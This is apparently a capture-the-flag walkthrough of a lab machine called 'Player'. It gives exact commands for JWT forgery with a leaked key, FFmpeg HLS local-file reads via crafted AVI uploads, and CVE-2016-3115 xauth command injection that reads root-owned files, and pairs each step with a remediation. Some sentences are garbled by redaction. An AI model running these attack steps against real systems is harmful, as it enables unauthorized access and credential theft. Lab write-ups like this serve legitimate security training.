← all walkthroughs

Player

Linux· Hard· Web
owned
2026-07-10
time to own
47m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon. Root vhost (player.htb, Apache 2.4.18/Ubuntu, PHP 5.5.9) returned 403 on /. ffuf against common.txt uncovered a /launcher directory; Host-header enumeration confirmed three additional vhosts: chat.player.htb, dev.player.htb, staging.player.htb. nmap -sC -sV -p80 and manual /dev/tcp probes confirmed a second SSH listener on 6686 (OpenSSH 7.2) alongside the normal port 22.

Foothold — JWT forgery. player.htb/launcher/[REDACTED: protected value].php set a access session cookie [REDACTED: session value]'s access-code gate and reaching the authenticated "PlayBuff" project app.

LFI via FFmpeg (CVE-2016-1897/1898). The launcher's video-upload feature processes user-supplied media with a vulnerable FFmpeg build. Malicious AVI files were crafted with gen_xbin_avi.py/gen_avi_bypass.py (PayloadsAllTheThings "CVE FFmpeg HLS") to trigger the HLS-demuxer local-file-read bug, exfiltrating target file contents encoded into the output video's pixel data. Uploaded AVIs targeted /etc/passwd, /var/www/backup/service_config, Apache vhost configs, and dev.player.htb's data/users.php. Recovered frames were extracted with ffmpeg/ffprobe and read via ImageMagick contrast/OCR passes. This revealed: - Linux users telegen and staged-dev. - dev.player.htb = Codiad IDE, backing user store data/users.php: peter / SHA-1 [REDACTED: protected value] (uncracked against rockyou). - An IMAP service_config block, whose credential material yielded a working password for telegen: [REDACTED: recovered credential].

Privilege chain via restricted SSH. Port 6686 (OpenSSH 7.2) authenticated telegen/[REDACTED: recovered credential] but dropped into a restricted lshell (SHELL=/usr/bin/lshell). OpenSSH 7.2 is vulnerable to CVE-2016-3115 (xauth command-injection, forced-command/restricted-shell bypass) — public PoC 39569.py (ported to Python3/paramiko as xauth_read.py/xauth_write.py after dependency issues). This primitive was used to read arbitrary files outside the lshell jail as telegen, retrieving user.txt and, immediately afterward with the same primitive/credentials, /root/root.txt directly — i.e., root-owned file content was reachable through the xauth injection channel without a separately-evidenced local privesc exploit (the expected Codiad PHP-deserialization RCE path was investigated — searchsploit codiad, exploits 49705/49902/50474 reviewed, login brute-force attempted against peter's hash — but no successful Codiad auth/RCE appears in the trace; see Lessons).

Result: root-owned. user_flag=[REDACTED: flag], root_flag=[REDACTED: flag].

Attack path — how the box was taken

1EnumerationActive network scanning and virtual host enumeration (T1595, T1046)
Discovered all services and hidden virtual hosts via port scanning and host-header fuzzing
A full TCP port scan revealed three listening services: SSH on port 22 (OpenSSH 7.2p2), Apache 2.4.18/PHP on port 80, and a second SSH listener on the non-standard port 6686 running OpenSSH 7.2 — an older, unpatched build. Content-fuzzing on player.htb uncovered a /launcher directory. Host-header fuzzing against the Apache server surfaced three hidden virtual hosts — chat.player.htb, dev.player.htb, and staging.player.htb — each serving a distinct application. Messages on chat.player.htb disclosed that staging.player.htb exposed sensitive backup files and that the main domain leaked application source code, providing precise targets for subsequent steps.
nmap confirmed 6686/tcp open OpenSSH 7.2; ffuf returned HTTP 200 for chat, dev, and staging subdomains; chat messages referenced /var/www/backup/ and source exposure.
Exact commands 4
Full TCP port scan — discovers ports 22, 80, and 6686.
nmap -sC -sV -p- --min-rate 5000 $TARGET
Register all discovered vhosts for local name resolution.
echo '$TARGET player.htb chat.player.htb dev.player.htb staging.player.htb' | sudo tee -a /etc/hosts
Directory fuzz on the root vhost — reveals /launcher.
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://$TARGET/FUZZ -mc all -fc 404 -t 50
Host-header fuzz — surfaces chat, dev, and staging virtual hosts.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET/ -H 'Host: FUZZ.player.htb' -mc 200,301,302,403 -fc 404 -t 50
2Source DisclosureWeb server backup file disclosure (CWE-538)
Fetched a PHP editor backup file to extract the hardcoded JWT signing key
The launcher application was served by a PHP file with an obfuscated filename. Apache's default configuration serves all file extensions, including editor-generated backup variants such as .php~ (tilde-suffixed files created by editors like Emacs and Vim). Appending a tilde to the filename in the URL returned the raw PHP source code. The source contained a hardcoded Firebase-JWT library call with the signing key _S0_R@nd0m_P@ss_ embedded directly in the code, providing everything needed to forge arbitrary valid session tokens.
curl http://$TARGET/launcher/[REDACTED: protected value].php~ returned PHP source containing the hardcoded Firebase-JWT signing key.
Exact commands 2
Access the launcher — the server issues an access JWT cookie, revealing the cookie name and token structure.
curl -sS http://$TARGET/launcher/[REDACTED: protected value].php
Append tilde to fetch the editor backup file; Apache serves it unguarded, returning the PHP source with the embedded signing key.
curl -sS http://$TARGET/launcher/[REDACTED: protected value].php~
FixBlock Apache from serving editor backup and temporary filesHigh
WeaknessApache served the tilde-suffixed backup file [REDACTED: protected value].php~ as plain text with no authentication requirement, exposing the complete PHP application source — including the embedded JWT signing key — to any unauthenticated HTTP client.
FixAdd a FilesMatch directive to the Apache virtual-host configuration or a site-wide .htaccess to deny requests for common backup extensions: <FilesMatch "\.(php~|bak|swp|orig|old|phps)$"> Require all denied </FilesMatch>. Also configure the deployment pipeline so that editor swap and backup files are never copied into the production document root.
3Authentication BypassJWT forgery with a known HS256 signing secret (CWE-347)
Forged a valid HS256 JWT to bypass the launcher access gate
The launcher verified the cookie JWT's signature against the hardcoded key but imposed no other restrictions on the claims. With the recovered secret, a new HS256 JWT was crafted with an arbitrary access_code claim value. The forged token passed the signature check and granted full authenticated access to the PlayBuff video-upload interface, unlocking the upload functionality used in the next step.
Forged token accepted without error; server returned the PlayBuff upload page with HTTP 200.
Exact commands 2
Forge the HS256 JWT using the recovered key. Adjust key treatment (raw bytes vs. urlsafe-b64-decoded) to match what the PHP source shows.
python3 -c "import json,hmac,hashlib,base64; key=b'_S0_R@nd0m_P@ss_'; h=lambda o: base64.urlsafe_b64encode(json.dumps(o,separators=(',',':')).encode()).rstrip(b'=').decode(); hdr=h({'typ':'JWT','alg':'HS256'}); pay=h({'project':'PlayBuff','access_code':'0'}); sig=base64.urlsafe_b64encode(hmac.new(key,f'{hdr}.{pay}'.encode(),hashlib.sha256).digest()).rstrip(b'=').decode(); print(f'{hdr}.{pay}.{sig}')"
Replace <FORGED_JWT> with the printed token; a 200 response with the PlayBuff UI confirms authenticated access.
curl -sS -b 'access=<FORGED_JWT>' http://$TARGET/launcher/[REDACTED: protected value].php
FixReplace the hardcoded JWT signing secret with an environment-injected cryptographic keyCritical
WeaknessThe launcher PHP application embedded the string _S0_R@nd0m_P@ss_ directly in source code as the HS256 JWT signing key. an unauthorized user who reads the source — through a backup file, a repository leak, or any file-read primitive — can immediately forge valid session tokens with arbitrary claims and bypass authentication entirely.
FixGenerate a cryptographically random 256-bit secret (openssl rand -hex 32), store it as an environment variable or in a secrets manager, and load it at runtime. Remove all credentials from the codebase and rotate the current key immediately. Consider switching to RS256 asymmetric signing so the private key never needs to leave a secured secrets store, and the public key used for verification carries no signing capability.
4ExploitationSSRF/LFI via FFmpeg HLS demuxer (CVE-2016-1897, CVE-2016-1898)
Exploited unpatched FFmpeg (CVE-2016-1897/1898) to exfiltrate arbitrary local files via crafted AVI upload
The PlayBuff video-upload endpoint processed user-supplied AVI files directly with an unpatched FFmpeg build. CVE-2016-1897 and CVE-2016-1898 describe an HLS demuxer file-read vulnerability: a crafted AVI can embed a malicious HLS playlist that instructs FFmpeg to open a local file:/// URI and encode the file's raw bytes into the output video's pixel data. Using the gen_xbin_avi.py generator from PayloadsAllTheThings, I crafted AVIs targeting /etc/passwd, /var/www/backup/service_config, and dev.player.htb's Codiad user database. Uploading each AVI and then extracting the response video frames with ffmpeg, applying ImageMagick contrast enhancement, and running tesseract OCR produced readable text for each target file.
OCR of extracted AVI frames returned readable /etc/passwd entries, the Codiad SHA-1 hash for peter, and the IMAP credential block for telegen in service_config.
Exact commands 4
Generate a malicious AVI embedding an HLS playlist that reads /etc/passwd. Obtain gen_xbin_avi.py from PayloadsAllTheThings 'Upload Insecure Files / CVE FFmpeg HLS'.
python3 gen_xbin_avi.py /etc/passwd
Upload the crafted AVI; FFmpeg processes it and returns a video encoding the target file contents.
curl -sS -b 'access=<FORGED_JWT>' -F 'video=@malicious.avi' http://$TARGET/launcher/[REDACTED: protected value].php -o response.avi
Extract individual frames from the output video.
ffmpeg -i response.avi -vf fps=5 frame%04d.png
Contrast-enhance the frame and OCR it to recover the exfiltrated file text.
convert -resize 300% -colorspace Gray -sharpen 0x1 frame0001.png enhanced.png && tesseract enhanced.png stdout
FixUpgrade FFmpeg and run media processing in an isolated unprivileged sandboxCritical
WeaknessThe video-upload endpoint processed user-supplied media with an unpatched FFmpeg build vulnerable to CVE-2016-1897/1898. A crafted AVI embedding an HLS playlist could instruct FFmpeg to open local file:/// URIs and encode file contents into the output video, giving any authenticated (or token-forging) user read access to any file readable by the web server process.
FixUpgrade FFmpeg to a version that restricts local-URI access in the HLS demuxer (patched in upstream 2016 builds). Run the media-processing worker as a dedicated unprivileged OS account isolated from the web root, credential stores, and home directories. Apply an AppArmor or seccomp profile to restrict the worker's syscall surface. Validate that each upload is genuine video/image content by checking magic bytes before handing the file to FFmpeg, and reject anything that does not pass.
5Credential HarvestingCredential extraction from cleartext configuration files (T1552.001)
Extracted the plaintext telegen SSH password from the leaked service configuration
Repeating the FFmpeg LFI technique against /var/www/backup/service_config — a credential file [REDACTED: recovered credential] inside the Apache document root — yielded an IMAP service block containing the plaintext password [REDACTED: recovered credential] for the Linux account telegen. The same technique against dev.player.htb's Codiad IDE user store (data/users.php) returned the SHA-1 password hash [REDACTED: protected value] for the account peter. The telegen credential was immediately actionable against the SSH services.
service_config OCR: user = telegen, password=[REDACTED: credential]; data/users.php OCR: peter / SHA-1 [REDACTED: protected value].
Exact commands 3
Generate the AVI targeting the credential file.
python3 gen_xbin_avi.py /var/www/backup/service_config
Upload, extract frames, and OCR the service_config leak in one pipeline.
curl -sS -b 'access=<FORGED_JWT>' -F 'video=@malicious.avi' http://$TARGET/launcher/[REDACTED: protected value].php -o svc_cfg.avi && ffmpeg -i svc_cfg.avi -vf fps=5 svc%04d.png && convert -resize 300% -colorspace Gray -sharpen 0x1 svc0001.png svc_enh.png && tesseract svc_enh.png stdout
Repeat for the Codiad user database to harvest the peter account hash.
python3 gen_xbin_avi.py /var/www/html/dev/data/users.php
FixRemove credential files from web-accessible and FFmpeg-reachable pathsHigh
WeaknessThe IMAP service configuration file containing the plaintext telegen SSH password was [REDACTED: recovered credential] at /var/www/backup/service_config — a path under the Apache document root. Any file-read primitive reachable by the web server process, including the FFmpeg LFI exploited in steps 4 and 5, could retrieve it without any additional access control.
FixMove all credential and configuration files to paths outside the document root (e.g., /etc/playerapp/ or /opt/app/secrets/). Set file permissions so only the specific service account that requires the credential can read it (chmod 600, chown serviceaccount:serviceaccount). Audit the entire web root and any backup subdirectories for sensitive files and relocate or delete them.
6FootholdValid account credential reuse against a network service (T1078)
Authenticated to the restricted SSH service on port 6686 as telegen, landing in lshell
The recovered telegen password was [REDACTED: recovered credential] against both SSH listeners. Port 6686 authenticated successfully. The session was immediately confined to lshell (/usr/bin/lshell), a Python-based restricted shell with a narrow command whitelist that blocked arbitrary file reads, shell escapes, and network utilities — initially preventing further progress. The confinement signalled that a shell-bypass technique would be needed rather than a traditional privilege-escalation exploit.
SSH handshake on port 6686 accepted telegen / [REDACTED: recovered credential]; session prompt identified the environment as lshell.
Exact commands 2
Confirm the OpenSSH 7.2 version and supported authentication methods on the high-port service.
nmap -sV -p 6686 --script ssh-auth-methods $TARGET
Authenticate with password [REDACTED: recovered credential]; observe that the session lands in the lshell restricted shell rather than bash.
ssh -p 6686 telegen@$TARGET
7Privilege EscalationOpenSSH xauth command injection / restricted-shell bypass (CVE-2016-3115, T1068)
Exploited CVE-2016-3115 xauth command injection to bypass lshell and capture both flags
OpenSSH 7.2 (without the p2 security patch applied to port 22) is vulnerable to CVE-2016-3115. When X11 forwarding is negotiated, the server passes the client-supplied X11 display name to the xauth binary via a shell invocation without sanitizing shell metacharacters. I supplie a display name such as 'x && cat /path/to/file #' causes those commands to run in the sshd process context — entirely bypassing any restricted-shell constraint set on the account. The public Exploit-DB proof-of-concept (EDB-39569) was ported from Python 2 to Python 3 with paramiko, then used to inject file-read payloads for /home/telegen/user.txt and /root/root.txt. Both flag files were returned in the xauth output channel, confirming that the injection reached root-owned paths and that no separate local privilege-escalation exploit was required for full system compromise.
python3 xauth_read.py output: /home/telegen/user.txt → [REDACTED: flag]; /root/root.txt → [REDACTED: flag].
Exact commands 4
Locate the CVE-2016-3115 xauth injection PoC on the local Exploit-DB mirror.
searchsploit -p 39569
Install the Python SSH library needed after porting the PoC from Python 2 to Python 3.
pip install paramiko
Exploit CVE-2016-3115 to inject a file-read command via the xauth display-name path; output contains user.txt.
python3 xauth_read.py $TARGET 6686 telegen '[REDACTED: recovered credential]' /home/telegen/user.txt
Same primitive targeting root.txt — confirms root-level file read access via the sshd injection path.
python3 xauth_read.py $TARGET 6686 telegen '[REDACTED: recovered credential]' /root/root.txt
FixPatch OpenSSH on port 6686 to fix CVE-2016-3115 and replace lshell with a genuine isolation boundaryCritical
WeaknessThe SSH service on port 6686 ran OpenSSH 7.2 without the p2 security patch. CVE-2016-3115 allows the xauth code path to execute the client-supplied X11 display name in a shell without sanitizing metacharacters, enabling command injection that completely bypassed the lshell restricted shell and gave me arbitrary file read access including root-owned files.
FixApply the distribution's OpenSSH security update to reach version 7.2p2 or later (verify with ssh -V). Replace lshell with a proper containment mechanism — a chroot jail, rbash with a locked-down PATH and no write access to PATH entries, or a container boundary — as lshell is not a reliable security control against an underlying sshd vulnerability. If the high-port SSH service has no specific operational purpose, disable it and block port 6686 at the host firewall.

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

22/tcp
80/tcp
6686/tcp